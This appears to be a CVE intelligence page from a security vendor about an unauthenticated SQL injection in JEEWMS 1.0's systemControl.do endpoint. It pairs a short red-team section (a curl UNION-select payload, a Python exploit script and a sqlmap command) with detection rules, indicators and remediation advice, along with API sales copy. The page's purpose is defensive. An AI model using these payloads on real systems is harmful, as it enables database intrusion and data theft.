☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-70311

CVE-2025-70311 SQL Injection in Jeewms
📅 PUBLISHED: 2026-02-03 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.0
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-70311 is a critical SQL Injection vulnerability discovered in JEEWMS 1.0, an open-source warehouse management system. The flaw resides in the /systemControl.do interface, specifically within the id1 and id2 parameters. An unauthenticated attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or potential full database compromise. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a Java-based web application (JEEWMS). While not a package manager ecosystem (NPM, PyPI, etc.), the risk extends to any organization using JEEWMS 1.0 in their supply chain. Attackers can exploit this to pivot into internal networks, exfiltrate sensitive data, or deploy backdoors.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability exists in the systemControl.do servlet. The application fails to sanitize user-supplied input in the id1 and id2 parameters before constructing SQL queries. An attacker can inject SQL metacharacters (e.g., single quotes, UNION statements) to manipulate the query logic.

Example vulnerable code snippet (conceptual):

String query = "SELECT * FROM users WHERE id1 = '" + request.getParameter("id1") + "' AND id2 = '" + request.getParameter("id2") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

This allows an attacker to break out of the string context and execute arbitrary SQL commands.

Vulnerable vs. Patched Code

Vulnerable Code (JEEWMS 1.0):

// No input validation or parameterized queries
String id1 = request.getParameter("id1");
String id2 = request.getParameter("id2");
String sql = "SELECT * FROM data WHERE id1 = '" + id1 + "' AND id2 = '" + id2 + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (Hypothetical fix):

// Use parameterized queries to prevent SQL injection
String sql = "SELECT * FROM data WHERE id1 = ? AND id2 = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, request.getParameter("id1"));
pstmt.setString(2, request.getParameter("id2"));
ResultSet rs = pstmt.executeQuery();

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Exploit:

# Exploit using curl to extract database version
curl -X GET "http://target.com/systemControl.do?id1=1' UNION SELECT @@version,2,3--&id2=1"

Automated Exploit Script (Python):

import requests

target = "http://target.com/systemControl.do"
payload = "1' UNION SELECT @@version,2,3--"
params = {"id1": payload, "id2": "1"}
response = requests.get(target, params=params)
print(response.text)

Lab Setup:

  1. Deploy JEEWMS 1.0 on a local VM (e.g., using Docker or manual installation).
  2. Ensure the /systemControl.do endpoint is accessible.
  3. Use the PoC above to verify SQL injection.
  4. For advanced exploitation, use sqlmap:
    sqlmap -u "http://target.com/systemControl.do?id1=1&id2=1" --batch --dbs
    

Blue Team

Detection Steps:

  1. Monitor web server logs for suspicious patterns in id1 and id2 parameters (e.g., single quotes, UNION, SELECT).
  2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
  3. Implement input validation and parameterized queries in the application code.

Honeypot Setup:

  • Create a fake endpoint mimicking /systemControl.do to trap attackers.
  • Log all requests for forensic analysis.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /systemControl.do with id1 or id2 parameters containing SQL keywords (e.g., UNION, SELECT, ').
    • Outbound database connections from the web server to unknown IPs.
  • File IOCs:
    • Unexpected files in the web root (e.g., shells, backdoors).
    • Modified database entries (e.g., admin user creation).
  • Log IOCs:
    • Web server logs showing SQL error messages (e.g., "You have an error in your SQL syntax").
    • Database logs showing unusual queries.

Detection Engineering

YARA Rule

rule CVE_2025_70311_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting JEEWMS systemControl.do"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-70311"
    strings:
        $s1 = "systemControl.do" nocase
        $s2 = "id1=" nocase
        $s3 = "id2=" nocase
        $sql_pattern = /(UNION|SELECT|INSERT|DELETE|DROP|'|--|#)/ nocase
    condition:
        all of ($s*) and any of ($sql_pattern)
}

Sigma Rule

title: SQL Injection Attempt on JEEWMS systemControl.do
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the id1 and id2 parameters in JEEWMS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "systemControl.do"
            - "id1="
            - "id2="
    keywords:
        - "'"
        - "UNION"
        - "SELECT"
        - "1=1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in input
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70311 SQL Injection Attempt"; flow:to_server; content:"systemControl.do"; http_uri; content:"id1="; http_uri; pcre:"/(UNION|SELECT|'|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the /systemControl.do endpoint if not required.
    • Apply a WAF rule to block SQL injection patterns.
    • Restrict network access to the application.
  2. Long-term Fix:

    • Upgrade to a patched version of JEEWMS (if available).
    • Implement parameterized queries (PreparedStatements) in all database interactions.
    • Conduct a full code audit for similar vulnerabilities.
  3. Monitoring:

    • Enable detailed logging for all web requests.
    • Set up alerts for SQL injection patterns.
  4. User Education:

    • Train developers on secure coding practices (OWASP Top 10).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

JEEWMS
systemControl.do

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-70311/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.